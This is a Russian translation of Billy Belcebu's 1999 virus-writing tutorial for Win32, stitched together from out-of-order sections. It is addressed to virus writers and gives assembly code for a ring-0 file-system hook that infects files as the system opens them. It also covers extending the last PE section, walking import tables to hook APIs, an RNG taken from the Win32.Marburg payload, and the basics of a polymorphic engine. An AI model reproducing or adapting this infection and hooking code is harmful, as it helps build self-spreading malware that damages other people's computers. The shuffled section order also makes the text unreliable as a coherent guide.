    Windows NT: поле lpSecurityDescriptor задает дескриптор безопасности нового треда. Если lpThreadAttributes равен NULL, тред получает дескриптор безопасности по умолчанию.
    Windows 95: поле lpSecurityDescriptor игнорируется.
    • dwStackSize: задает в байтах размер стека нового треда. Если указан 0, то размер стека будет равен размеру стека главного треда процесса. Стек автоматически выделяется в адресном пространстве процесса и освобождается, когда тред завершает свое выполнение. Обратите внимание на то, что размер стека увеличивается по необходимости. CreateThread пытается выделить указанное количество байтов, а если это не удается, возвращает ошибку.

    • lpStartAddress: стартовый адрес нового треда. Обычно это адрес функции, имеющая соглашение о вызове WinAPI, которая принимает 32-х битный указатель в качестве аргумента и возвращает 32-х битный код возврата. Ее прототипом является:

    DWORD WINAPI ThreadFunc( LPVOID );

    • lpParameter: задает 32-х битное значение, которое будет передано треду в качестве аргумента.

    • dwCreationFlags: задает дополнительные флаги, контролирующие создание треда. Если задан флаг CREATE_SUSPENDED, тред создается в замороженном состоянии и начнет свое выполнение только тогда, когда будет вызвана функция ResumeThread. Если это значение равно нулю, тред начинает выполняться немедленно после создания. На данный момент другие значения не поддерживаются.

    • lpThreadId: указывает на 32-х битную переменную, которая получает идентификатор треда.

    Возвращаемые значения ---------------------

    • Если вызов функции прошел успешно, возвращаемое значение является хэндлом нового треда.

    • Если вызов функции не удастся, возвращаемое значение будет равно NULL. Чтобы получить дополнительную информацию об ошибке, вызовите GetLastError.

    Windows 95: CreateThread успешно выполняется только тогда, когда она вызывается в контексте 32-х битной программы. 32-х битная DLL не может создать дополнительный тред, если эта DLL была вызвана 16-ти битной программой.

    -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

    Функция WaitForSingleObject возвращает управление программе, когда случается одно из следующего:

    • Указанный объект находится в сигнализирующем состоянии.

    • Закончился заданный интервал времени

    DWORD WaitForSingleObject( HANDLE hHandle, // хэндл ожидаемого объекта DWORD dwMilliseconds // интервал таймаута в миллисекундах );

    Параметры ---------

    • hHandle: идентифицирует объект.

    Windows NT: хэндл должен иметь доступ типа SYNCHRONIZE.

    • dwMilliseconds: задает интервал таймаута в миллисекундах. Функция возвращает управление, если заданное время закончилось, даже если объект находится в несигнализирующем состоянии. Если dwMilliseconds равно нулю, функция тестирует состояние объекта и возвращает управление немедленно. Если dwMilliseconds равно INFINITE, интервал таймаута бесконечен.


    Возвращаемые значения ---------------------

    • Если вызов функции прошел успешно, возвращаемое значение указывает событие, которое заставило функцию вернуться.

    • Если вызов функции прошел неуспешно, возвращаемое значение равно WAIT_FAILED. Чтобы получить дополнительную информацию об ошибке, вызовите GetLastError.

    -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

    Если этого для вас недостаточно, или вы не понимаете ничего, что написано в описании функций, вот ASM-пример.

    ;---[ CUT HERE ]------------------------------------------------------------- .586p .model flat

    extrn CreateThread:PROC extrn WaitForSingleObject:PROC extrn MessageBoxA:PROC extrn ExitProcess:PROC

    .data tit1 db "Parent Process",0 msg1 db "Spread your wings and fly away...",0 tit2 db "Child Process",0 msg2 db "Billy's awesome bullshit!",0

    lpParameter dd 00000000h lpThreadId dd 00000000h

    .code

    multitask: push offset lpThreadId ; lpThreadId push 00h ; dwCreationFlags push offset lpParameter ; lpParameter push offset child_process ; lpStartAddress push 00h ; dwStackSize push 00h ; lpThreadAttributes call CreateThread

    ; EAX = Thread handle

    push 00h ; 'Parent Process' blah blah push offset tit1 push offset msg1 push 00h call MessageBoxA

    push 0FFh ; Ждем бесконечно push eax ; Хэндл ожидаемого объекта (тред) call WaitForSingleObject

    push 00h ; Выходим из программы call ExitProcess

    child_process: push 00h ; 'Child Process' blah blah push offset tit2 push offset msg2 push 00h call MessageBoxA ret

    end multitask ;---[ CUT HERE ]-------------------------------------------------------------

    Если вы протестируете вышеприведенный код, вы увидите, что если вы кликните по кнопке 'Accept' в дочернем процессе, то вам придется кликнуть также по 'Accept' родительского процесса, но если вы закроете родительский процесс, оба messagebox'а будут закрыты. Если родительский процесс умирает, все порожденные им процессы (здесь и далее до конца данного подраздела Billy употребляет слово 'процесс' в значении 'тред' - прим. пер.) также умирают. Но если умрет дочерний процесс, родительский выживет.

    Таким образом с помощью WaitForSingleObject вы можете контролировать оба процесса - родительский и дочерний. Представьте себе следующие возможности: поиск по директориям в поисках определенного файла (например, MIRC.INI), и в то же время генерация полиморфного декриптора и распаковка дроппера... Вау! ;)

    Смотрите туториал Benny о тредах и фиберах (29A#4) (есть на http://www.wasm.ru - прим. пер.).

    Наложение

    Эта простая техника была вначале представлена Demogorgon/PS для скрытия кода. Но используя ее таким образом, который я продемонстрирую, она может помочь сэкономить немного байтов. Например, давайте представим, что есть процедура, которая устанавливаем флаг переноса, если происходит ошибка и очищает его, если таковой не произошло.
    noerr: clc ; 1 байт jmp exit ; 2 байта error: stc ; 1 байт exit: ret ; 1 байт
    Но мы можем уменьшить размер на 1 байт, если содержимое одного из 8 регистров для нас не важно (например, давайте представим, что содержимое ECX не важно):
    noerr: clc ; 1 байт mov cl,00h ; 1 байт \ org $-1 ; > MOV CL,0F9H error: stc ; 1 байт / ret ; 1 байт
    Мы можем избежать CLC, внеся небольшие изменения: используя TEST (с AL, так как это более оптимизировано) очистим флаг переноса, и AL не будет модифицирован :)
    noerr: test al,00h ; 1 байт \ org $-1 ; > TEST AL,0AAH error: stc ; 1 байт / ret ; 1 байт
    Красиво, правда?

    Напоследок

    Еще один туториал подошел к концу... В какой-то мере его было немного скучно писать (хей, я человек, я предпочитаю программировать, а не писать), но во мне всегда жива надежда, что у того, кто будет читать результаты моих трудов, возникнут новые идеи. Как я уже сказал в введении, почти весь код, приведенный в данном туториале, написан мной (в отличии от того, что было в DOS'овском путеводителе). Я надеюсь, что это поможет вам.
    Я знаю, что не затронул некоторых вещей, например заражение с помощью добавления новой секции или технику "Call Gate" или "вставка VMM" для перехода в Ring-0. Я всегда пытался сделать туторилы как можно проще. Теперь вы можете решить, было ли это правильным выбором или нет. Время покажет.
    Этот документ посвящен людям, которые помогали мне, когда я делал свои первые шаги в программировании под Win32: zAxOn, Super, nIgr0, Vecna, b0z0, Ypsilon, MDriller, Qozah, Benny, Jacky Qwerty (не добровольная помощь, но тем не менее...), Lord Julus (да, я многому научился из его туториалов!), StarZer0 и многих других. Конечно, также заслуживают упоминания Int13h, Owl, VirusBuster, Wintermute, Somniun, SeptiC, TechnoPhuk, SlageHammer и, конечно, вы - мой читатель. Это было написано для вас!
    - Mejor morir de pie que vivir arrodillado - (Ernesto "Che" Guevara)
    - Лучше умереть, стоя в полный рост, чем жить, стоя на коленях - (Эрнесто "Че" Гевара)
    Валенсия, 6 сентября 1999.
    (c) 1999 Billy Belcebu/iKX
    [C] Billy Belcebu, пер. Aquila
    <<< Назад Вперед >>>


    Необходимые изменения

    Хорошо, здесь я объясню вам изменения, которые необходимо выполнить при заражении PE. Я предполагаю, что вы делаете вирус, который увеличивает размер последней секции PE-файла. Эта техника получила наибольшее распространение среди нас, да и она, между прочим, гораздо проще, чем добавление другой секции. Давайте посмотрим, как вирус может изменить заголовок исполняемого файла. Для этого мы используем программу INFO-PE Lord'а Julus'а [SLAM].
    -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·

    Несколько вводных слов

    Привет, дорогие друзья,
    вы помните "Путеводитель Billy Belcebu по написанию вирусов"? Это был большой туториал об устаревших в настоящее время вирусах под MS-DOS. В нем я рассказал о большинстве известных вирусных техник под DOS. Туториал был написан для начинающих, чтобы они стали чуть более продвинутыми. И вот я снова здесь и пишу еще один классный (я надеюсь) туториал, но в этот раз я буду говорить о новой угрозе нашего времени, вирусах под Win32, и, конечно, обо всем, что связано с этой темой. Я заметил отсутствие полноценного пособия и спросил себя, почему бы мне не написать его самому? Сказано - сделано :). Пионером в области Win32-вирусов была группа VLAD, а пионером в области туториалов на эту тему стал Lord Julus. Я не забыл о парне, который написал интересные туториалы и зарелизил их до Lord Julus'а, конечно, я говорю о JHB. Интересные техники были разработаны Murkry, а затем Jacky Qwerty... Я надеюсь, что не забыл никого, кто сыграл еще важную роль в короткой истории создания вирусов под Win32. Обратите внимания, что я не забыл о родоначальниках всего этого.
    Как обычно, я хочу поблагодарить несколько музыкальных групп, таких как Blind Guardian, HammerFall, Stratovarius, Rhapsody, Marilyn Manson, Iron Maiden, Metallica, Iced Earth, RAMMS+EIN, Mago De Oz, Avalanch, Fear Factory, Korn, Hamlet и Def Con Dos. Их музыка создала прекрасную атмосферу для написания огромных туториалов и кода.
    Структура этго туториала отличается от моих прежних пособий, теперь я поместил в начало краткое содержание, а весь приведенный код написан мной или основывается на чужом, но адаптирован. В очень редких случаях он попросту рипнут ;). Шучу. Но я действительно постарался избежать ошибок, допущенных мной в моих туториалах о вирусах под почти исчезнувший в наше время MS-DOS (RIP).
    Я должен поблагодарить Super/29A, который помог мне при создании данного туториала, он был одним из моих бета-тестеров, а также пожертвовал кое-что для данного проекта.
    ОБРАТИТЕ ВНИМАНИЕ: Английский не является моих родным языком, поэтому прошу извинить меня за возможные ошибки (вероятно, их довольно много) и сообщить мне о них, чтобы я мог учесть это при обновлениях данного документа (я помещу ник того, кто укажет мне на ошибки, наряду с благодарностью).
    (Примечание переводчика: обратите внимание, что документ, который вы читаете, является переводом на РУССКИЙ. Информацию об ошибках в переводе следует слать переводчику, а не Billy Belcebu.)
    --- Вот мои контактные данные (но не спрашивайте у меня всякую ерунду, у меня не так много времени)
    ¦ E-mail billy_belcebu@mixmail.com ¦ Personal web page http://members.xoom.com/billy_bel http://www.cryogen.com/billy_belcebu
    Sweet dreams are made of this...
    (c) 1999 Billy Belcebu/iKX

    Обpаботчик файловой системы: настоящее веселье!!!

    Здесь, собственно, и находится сама пpоцедуpа заpажения, но пpежде нам нужно сделать несколько вещей. Во-пеpвых, мы должны сделать копию стека, т.е. сохpанить содеpжимое ESP в EBP. После этого нам нужно вычесть 20 байтов из ESP, чтобы пофиксить указатель на стек. Давайте посмотpим итоговый код:
    New_Handler equ $-(offset virus_start) FSA_Hook: push ebp ; Сохpаняем содеpжимое EBP для ; последующего восстановления mov ebp,esp ; Сохpаняем копию содеpжимого ESP ; в EBP sub esp,20h ; И фиксим стек
    Тепеpь, так как наша функция вызывается системой с опpеделенными паpаметpами, мы должны запушить их, как это делал оpигинальный обpаботчик. Паpаметpы, котоpые должны быть запушены, находятся начиная с EBP+08h по EBP+1Ch (включительно) и соответствуют стpуктуpу IOREQ.
    push dword ptr [ebp+1Ch] ; указатель на стpуктуpу IQREQ push dword ptr [ebp+18h] ; кодовая стpаница стpоки, пеpеданной ; пользователем push dword ptr [ebp+14h] ; вид pесуpса, на котоpом выполняется ; опеpация push dword ptr [ebp+10h] ; номеp пpивода (начиная с 1), на ; котоpом выполняется опеpация (-1, ; если UNC) push dword ptr [ebp+0Ch] ; функция, котоpая будет выполнена push dword ptr [ebp+08h] ; адpес FSD-функции, котоpая должна ; быть вызвана
    Тепеpь мы поместили все нужные паpаметpы куда надо, поэтому нам больше не нужно о них беспокоиться. Тепеpь немного инфоpмации о функции IFSFN:
    -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-· ** ID IFS-функции пеpедается IFSMgr_CallProvider
    IFSFN_READ equ 00h ; читать из файла IFSFN_WRITE equ 01h ; писать в файл IFSFN_FINDNEXT equ 02h ; найти след. (LFN-хэндл) IFSFN_FCNNEXT equ 03h ; уведомл. об изменен. "найти след." IFSFN_SEEK equ 0Ah ; установить хэндл файла IFSFN_CLOSE equ 0Bh ; закpыть хэндл IFSFN_COMMIT equ 0Ch ; выделить данные для хэндла IFSFN_FILELOCKS equ 0Dh ; закpыть/откpыть байтовый диапазон IFSFN_FILETIMES equ 0Eh ; получить/установить вpемя мод. файла IFSFN_PIPEREQUEST equ 0Fh ; опеpации с именными пайпами IFSFN_HANDLEINFO equ 10h ; получить/установить инф. о файле IFSFN_ENUMHANDLE equ 11h ; енумеpация инф. по хэндлу файла IFSFN_FINDCLOSE equ 12h ; закpыть поиск LFN IFSFN_FCNCLOSE equ 13h ; Hайти Изменить Уведомить Закpыть IFSFN_CONNECT equ 1Eh ; пpисоединить или монтиpовать pесуpс IFSFN_DELETE equ 1Fh ; удаление файла IFSFN_DIR equ 20h ; манипуляции с диpектоpиями IFSFN_FILEATTRIB equ 21h ; Манипуляции с DOS-аттpиб. файла IFSFN_FLUSH equ 22h ; сбpосить данные на диск IFSFN_GETDISKINFO equ 23h ; узнать кол-во своб. пp-ва IFSFN_OPEN equ 24h ; откpыть файл IFSFN_RENAME equ 25h ; пеpеименовать путь IFSFN_SEARCH equ 26h ; искать по имени IFSFN_QUERY equ 27h ; узнать инфу о pесуpсе (сетевом) IFSFN_DISCONNECT equ 28h ; отсоединиться от pесуpса (сетевого) IFSFN_UNCPIPEREQ equ 29h ; опеpация над именованным пайпом IFSFN_IOCTL16DRIVE equ 2Ah ; запpос к диску (16 бит, IOCTL) IFSFN_GETDISKPARMS equ 2Bh ; получить DPB IFSFN_FINDOPEN equ 2Ch ; начать файловый LFN-поиск IFSFN_DASDIO equ 2Dh ; пpямой доступ к диску -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·

    В нашем пеpвом виpусе нас будет интеpесовать только 24h, то есть откpытие файла. Система вызывает эту функция очень часто. Код настолько пpост, насколько вы можете это пpедставить :).

    cmp dword ptr [ebp+0Ch],24h ; Check if system opening file jnz back2oldhandler ; If not, skip and return to old h.

    Теперь начинается самая потеха. Когда мы узнаем, что система запрашивает открытие файла, настает наше время. Во-первых, мы должны проверить не обрабатываем ли мы наш собственный вызов... Это просто, добавьте небольшую переменную, которая решит вам эту проблему. Да, почти забыл, получите дельта-смещение :).

    pushad call ring0_delta ; Получаем дельта-смещение ring0_delta: pop ebx sub ebx,offset ring0_delta

    cmp byte ptr [ebx+semaphore],00h ; Не мы ли попытались совершить jne pushnback ; данный вызов?

    inc byte ptr [ebx+semaphore] ; Избегаем обработки наших вызовов pushad call prepare_infection ; Мы рассмотрим это далее call infection_stuff popad dec byte ptr [ebx+semaphore] ; Прекращаем избегание :)

    pushnback: popad

    Теперь я продолжу рассказывать о собственно обработчике, после чего объясню, что я делаю в этих процедурах prepare_infection и infction_stuff. Сейчас мы выходим из функции обработки обращений системы. Сейчас мы должны написать процедуру, которая вызовет старый FileSystem hook. Как вы можете помнить (я надеюсь, что у вас нет склероза), мы поместили в стек все параметры, поэтому единственное, что нам нужно сделать сейчас - это загрузить в регистр старый адрес, а затем совершить по нему вызов. После этого мы добавляем к ESP 18h (чтобы получить в дальнейшем адрес возврата). Вот и все. Думаю, вы лучше это поймете, поглядев на код, поэтому вот он:

    back2oldhandler: db 0B8h ; MOV EAX,imm32 opcode Old_Handler equ $-(offset virus_start) dd 00000000h ; здесь находится старый обработчик. call [eax] add esp,18h ; Фиксим стек (6*4) leave ; 6=кол-во. параметров. 4=размер dword ret ; Возврат

    Обработка таблицы импортов

    Далее следует структура таблицы импортов.
    IMAGE_IMPORT_DESCRIPTOR
    Обработка таблицы импортов
    А теперь посмотрим, что об этом говорит Мэтт Питрек.
    DWORD Characteristics
    Когда-то это могло быть набором флагов. Тем не менее Microsoft изменила ее значение и никогда не заботилась о том, чтобы обновить WINNT.H. На самом деле это поле является смещением (RVA) массива указателей, каждый из которых указывает на структуру IMAGE_IMPORT_BY_NAME.
    DWORD TimeDateStamp
    Время/дата, указывающая на то, когда был создан файл.
    DWORD ForwarderChain
    Это поле относится к форвардингу. Форвардинг - это когда одна DLL шлет ссылку на некоторые свои функции другой DLL. Например, в WinNT NTDLL.DLL (похоже) шлет некоторые из своих экспортируемых функций KERNEL32.DLL. Это поле содержит индекс в массиве FirstThunk. Функция, проиндексированная в этом поле, будет отфорваржена другой DLL. К сожалению, формат форвардинга функций недокументирован, а пример форварднутых функций сложно найти.
    DWORD Name
    Это RVA на строку в формате ASCIIz, содержащую имя импортируемой DLL, например "KERNEL32.DLL" и "USER32.DLL".
    PIMAGE_THUNK_DATA FirstThunk
    Это поле является смещением (RVA) объединения IMAGE_THUNK_DATA. Почти в каждом случае данное объединение интерпретируется как указатель на структуру IMAGE_IMPORT_BY_NAME. Если поле не является одним из этих указателей, то это вероятно ординал. Из документации не совсем понятно, можно ли импортивать функцию по ординалу, а не по имени. Важными полями являются IMAGE_IMPORT_DESCRIPTOR - это имя импортируемой DLL и два массива указателей IMAGE_IMPORT_BY_NAME. В EXE-файле два массива (на которые указывают поля Characteristics и FirstThunk) идут параллельно друг с другом и каждый завершается NULL-элементом. Указатели в обоих массивах указывают на структуру IMAGE_IMPORT_BY_NAME.
    Теперь, когда вы знаете определения Мэтта Питрека, я помещу здесь необходимый код, чтобы получать из таблицы импортов адреса API-функций и адрес, где находится смещение на функцию (которую мы хотим перехватить, но об этом чуть попозже).

    ;---[ CUT HERE ]------------------------------------------------------------- ; ; процедура GetAPI_IT ; -------------------- ; ; Далее следует код, который получает кое-какую информацию из таблицы импор- ; тов.

    GetAPI_IT proc

    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Ок, давайте начнем веселье. Параметры, которые требуются для этой ; ; функции, и возвращаемое значение следующие: ; ; ; ; ВВОД . EDI : Указатель на имя API-функции (чувствительно к регистру) ; ; ВЫВОД . EAX : Адрес API-функции ; ; EBX : Адрес адреса API-функции в таблице импортов ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

    mov dword ptr [ebp+TempGA_IT1],edi ; Сохраняем указатель на имя mov ebx,edi xor al,al ; Ищем "\0" scasb jnz $-1 sub edi,ebx ; Получаем размер имени mov dword ptr [ebp+TempGA_IT2],edi ; Сохраняем размер имени

    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Сначала мы сохраняем указатель на имя API-функции во временной ; ; переменной, а затем ищем конец строки, помеченный 0, после чего вычитаем ; ; от нового значения EDI (которое указывает на 0) его старое значение, ; ; получая, таким образом, размер имени API-функции. Просто, не правда ли? ; ; Далее мы сохраняем размер API-функции в другой временной переменной. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

    xor eax,eax ; Обнуляем EAX mov esi,dword ptr [ebp+imagebase] ; Загружаем базу образа проц. add esi,3Ch ; Указатель на смещение 3Ch lodsw ; Получаем заголовок PE проц. add eax,dword ptr [ebp+imagebase] ; адрес (нормализованный!) xchg esi,eax lodsd

    cmp eax,"EP" ; Это действительно PE? jnz nopes ; Дерьмо!

    add esi,7Ch lodsd ; Получаем адрес push eax lodsd ; EAX = Размер pop esi add esi,dword ptr [ebp+imagebase]

    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Первое, что мы делаем - это очищаем EAX, потому что нам не нужен мусор в ; ; его верхнем слове. Далее нам мы проверяем PE-сигнатуру заголовка ; ; носителя. Если все в порядке, мы получаем указатель на секцию с таблицей ; ; импортов (.idata). ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;


    SearchK32: push esi mov esi,[esi+0Ch] ; ESI = Указатель на имя add esi,dword ptr [ebp+imagebase] ; Нормализуем lea edi,[ebp+K32_DLL] ; У-ль на "KERNEL32.dll",0 mov ecx,K32_Size ; ECX = Размер этой строки cld ; Очищаем флаг направления push ecx ; Сохр. размер для дал.исп. rep cmpsb ; Сравниваем байты pop ecx ; Восст. размер pop esi ; Восст. у-ль на импорты jz gotcha ; Если совп., делаем переход add esi,14h ; Получаем след. поле jmp SearchK32 ; След. проход цикла

    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Сначала мы заново push'им ESI. Нам необходимо его сохранить, так как это ; ; начало секции .idata. Затем мы получаем в ESI RVA имена (указатели), ; ; после чего нормализуем это значение с базой образа, превращая, таким ; ; образом его в VA. Далее мы помещаем в EDI указатель на строку ; ; "KERNEL32.dll", в ECX загружаем размер строки, сравниваем две строки и ; ; если они совпадают, значит мы получили еще одну подходящую строку. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

    gotcha: cmp byte ptr [esi],00h ; Это OriginalFirstThunk 0? jz nopes ; Отваливаем, если так mov edx,[esi+10h] ; Получаем FirstThunk :) add edx,dword ptr [ebp+imagebase] ; Нормализуем! lodsd or eax,eax ; Это 0? jz nopes ; Дерьмо...

    xchg edx,eax ; Получаем указатель на него! add edx,[ebp+imagebase] xor ebx,ebx

    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Сначала мы проверяем, равно ли поле OriginalFirstThunk NULL, и если так, ; ; выходим из процедуры с ошибкой. Затем мы получаем значение FirstThunk и ; ; нормализуем его, прибавляя imagebase, а затем проверяем, равно ли оно 0 ; ; (если так, у нас проблемы, тогда выходим). Помещаем в EDX полученый ; ; адрес (FirstThunk), нормализуем, после чего в EAX мы сохраняем указатель ; ; на поле FirstThunk. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

    loopy: cmp dword ptr [edx],00h ; Последний RVA? Хм... jz nopes cmp byte ptr [edx+03h],80h ; Ординал? Duh... jz reloop


    mov edi,dword ptr [ebp+TempGA_IT1] ; Получ. указ. на имя API-ф-ции mov ecx,dword ptr [ebp+TempGA_IT2] ; Получаем размер имени mov esi,[edx] ; Получаем текущую строку add esi,dword ptr [ebp+imagebase] inc esi inc esi push ecx ; Сохраняем ее размер rep cmpsb ; Сохраняем обе строки pop ecx ; Восстанавливаем размер jz wegotit reloop: inc ebx ; Увеличиваем значение указателя add edx,4 ; Получаем указатель на другую loop loopy ; импортированную API-функцию

    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Сначала мы проверяем, не находимся ли мы в последнем элементе массива ; ; (который отмечен символом null), и если так, заканчиваем работу. Затем ; ; мы проверяем, является ли элемент ординалом, если так, мы получаем еще ; ; один. Далее идет самое интересное: мы помещаем в EDI сохраненный ранее ; ; указатель на имя API-функции, которую мы искали, в ECX у нас находится ; ; размер строки, и мы помещаем в ESI указатель на текущую API-функцию в ; ; таблице импортов. Мы делаем сравнение между этими двумя строками, и если ; ; они не совпадают, мы получаем следующую, пока не найдем ее или не ; ; достигнем последней API-функции в таблице импортов. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

    wegotit: shl ebx,2 ; Умножаем на 4 (размер dword) add ebx,eax ; Добавляем к значению FirstThunk mov eax,[ebx] ; EAX = адрес API-функции ;) test al,0 ; Это чтобы избежать перехода и org $-1 ; немного соптимизировать :) nopes: stc ; Ошибка! ret

    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Очень просто: поскольку счетчик у нас находится в EBX, а массив был ; ; массивом DWORD'ов, мы умножаем на 4 (чтобы получить относительное ; ; смещение, которое отмечает адрес API), а после этого у нас находится в ; ; EBX указатель на желаемый адрес API в таблице импортов, а в EAX у нас ; ; находится адрес API-функции. Совершенно :). ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

    GetAPI_IT endp

    ;---[ CUT HERE ]-------------------------------------------------------------

    Теперь мы знаем, как играть с таблицей импортов. Но нам нужно еще кое-что.

    Очень важная вещь: ГСЧ

    Да, наиболее важная вещь полиморфного движка - это генератор случайных чисел ака ГСЧ. ГСЧ - это кусок кода, который возвращает случайное число. Далее идет пример типичного ГСЧ под DOS, который работает также под Win9X, даже под Ring-3, но не в NT.
    random: in eax,40h ret
    Это возвратит верхнем слове EAX ноль, а в нижнем - случайное значение. Но это не очень мощный ГСЧ... Нам нужен другой... и это остается на вас. Единственное, что я могу сделать для вас - это помочь вам узнать, насколько мощен ваш генератор с помощью прилагаемой маленькой программы. Она "рипнута" из полезной нагрузки Win32.Marburg (GriYo/29A), и тестирует ГСЧ этого вируса. Конечно, этот код был адаптирован и почищен, так чтобы он легко компилировался и запускался.
    ;---[ CUT HERE ]------------------------------------------------------------- ; ; Тестировщик ГСЧ ; --------------- ; ; Если иконки на экране расположены действительно "случайным" образом, значит, ; ГСЧ хороший, но если они сгруппированы в одном участке экрана, или вы ; заметили странную последовательность в расположении иконок на экране, ; попробуйте другой ГСЧ. ;
    .386 .model flat
    res_x equ 800d ; Горизонтальное разрешение res_y equ 600d ; Вертикальное разрешение
    extrn LoadLibraryA:PROC ; Все APIs, которые нужны extrn LoadIconA:PROC ; тестировщику ГСЧ extrn DrawIcon:PROC extrn GetDC:PROC extrn GetProcAddress:PROC extrn GetTickCount:PROC extrn ExitProcess:PROC
    .data
    szUSER32 db "USER32.dll",0 ; USER32.DLL ASCIIz-строка
    a_User32 dd 00000000h ; Требуемые переменные h_icon dd 00000000h dc_screen dd 00000000h rnd32_seed dd 00000000h rdtsc equ
    .code
    RNG_test: xor ebp,ebp ; Вах, я ленив и не удалил ; индексацию из кода... ; Есть проблемы?
    rdtsc mov dword ptr [ebp+rnd32_seed],eax
    lea eax,dword ptr [ebp+szUSER32] push eax call LoadLibraryA
    or eax,eax jz exit_payload
    mov dword ptr [ebp+a_User32],eax
    push 32512 xor edx,edx push edx call LoadIconA or eax,eax jz exit_payload
    mov dword ptr [ebp+h_icon],eax
    xor edx,edx push edx call GetDC or eax,eax jz exit_payload mov dword ptr [ebp+dc_screen],eax

    mov ecx,00000100h ; Помещаем 256 иконок на экран

    loop_payload:

    push eax push ecx mov edx,eax push dword ptr [ebp+h_icon] mov eax,res_y call get_rnd_range push eax mov eax,res_x call get_rnd_range push eax push dword ptr [ebp+dc_screen] call DrawIcon pop ecx pop eax loop loop_payload

    exit_payload: push 0 call ExitProcess

    ; RNG - Этот пример создан GriYo/29A (смотри Win32.Marburg) ; ; Чтобы проверить валидность вашего RNG, помещайте его код здесь ;) ;

    random proc push ecx push edx mov eax,dword ptr [ebp+rnd32_seed] mov ecx,eax imul eax,41C64E6Dh add eax,00003039h mov dword ptr [ebp+rnd32_seed],eax xor eax,ecx pop edx pop ecx ret random endp

    get_rnd_range proc push ecx push edx mov ecx,eax call random xor edx,edx div ecx mov eax,edx pop edx pop ecx ret get_rnd_range endp

    end RNG_test

    ;---[ CUT HERE ]-------------------------------------------------------------

    Интересно, по крайней мере мне, смотреть за тем, как ведут себя различные арифметические операции :).

    Очищаем 32-х битный регистр и помещаем что-нибудь в LSW

    Самый понятный пример - это то, что делают все вирусы, когда помещают количество секций в PE-файле в AX (так как это значение занимает 1 слово в PE-заголовке).
    xor eax,eax ; 2 байта mov ax,word ptr [esi+6] ; 4 байта
    Или так:
    mov ax,word ptr [esi+6] ; 4 байта cwde ; 1 байт
    Я все еще удивляюсь, почему все VX-еры используют эти "старую" формулы, особенно, когда у нас есть инструкция 386+, которая делает регистр равным нулю перед помещением слова в AX. Эта инструкция равна MOVZX.
    movzx eax,word ptr [esi+6] ; 4 байта
    Хех, мы избежали одной лишней инструкции и лишних байтов. Круто, правда?

    Очищение переменных в памяти

    Это всегда полезно. Обычно люди делают так:
    mov dword ptr [ebp+variable],00000000h ; 10 байтов (!)
    Ладно, я знаю, что это дико :). Вы можете выиграть 3 байта следующим образом:
    and dword ptr [ebp+variable],00000000h ; 7 байтов
    Хехехе :)

    Основные концепции полиморфного движка

    Я думаю, что вы должны уже знать, то что я собираюсь объяснить, поэтому если вы уже писали полиморфные движки или знаете, как его создать, я рекомендую вам пропустить эту часть.
    Ладно, прежде всего мы должны сгенерировать код во временный буфер (обычно где-то в куче), но вы также можете зарезервировать память с помощью функций VirtualAlloc или GlobalAlloc. Мы должны поместить указатель на начало этого буфера, обычно это регистр EDI, так как он используется семейством инструкций STOS. В буфер мы будем помещать байты опкодов. Ок, ок, я приведу небольшой пример.
    ;---[ CUT HERE ]------------------------------------------------------------- ; ; Silly PER basic demonstrations (I) ; ---------------------------------- ;
    .386 ; Blah .model flat
    .data
    shit:
    buffer db 00h
    .code
    Silly_I:
    lea edi,buffer ; Указатель на буфер mov al,0C3h ; Байт, который нужно записать, находится в AL stosb ; Записать содержимое AL туда, куда указывает ; EDI jmp shit ; Байт, который мы записали, C3, является ; опкодом инструкции RET, т.е. мы заканчиваем ; выполнение
    end Silly_I
    ;---[ CUT HERE ]-------------------------------------------------------------
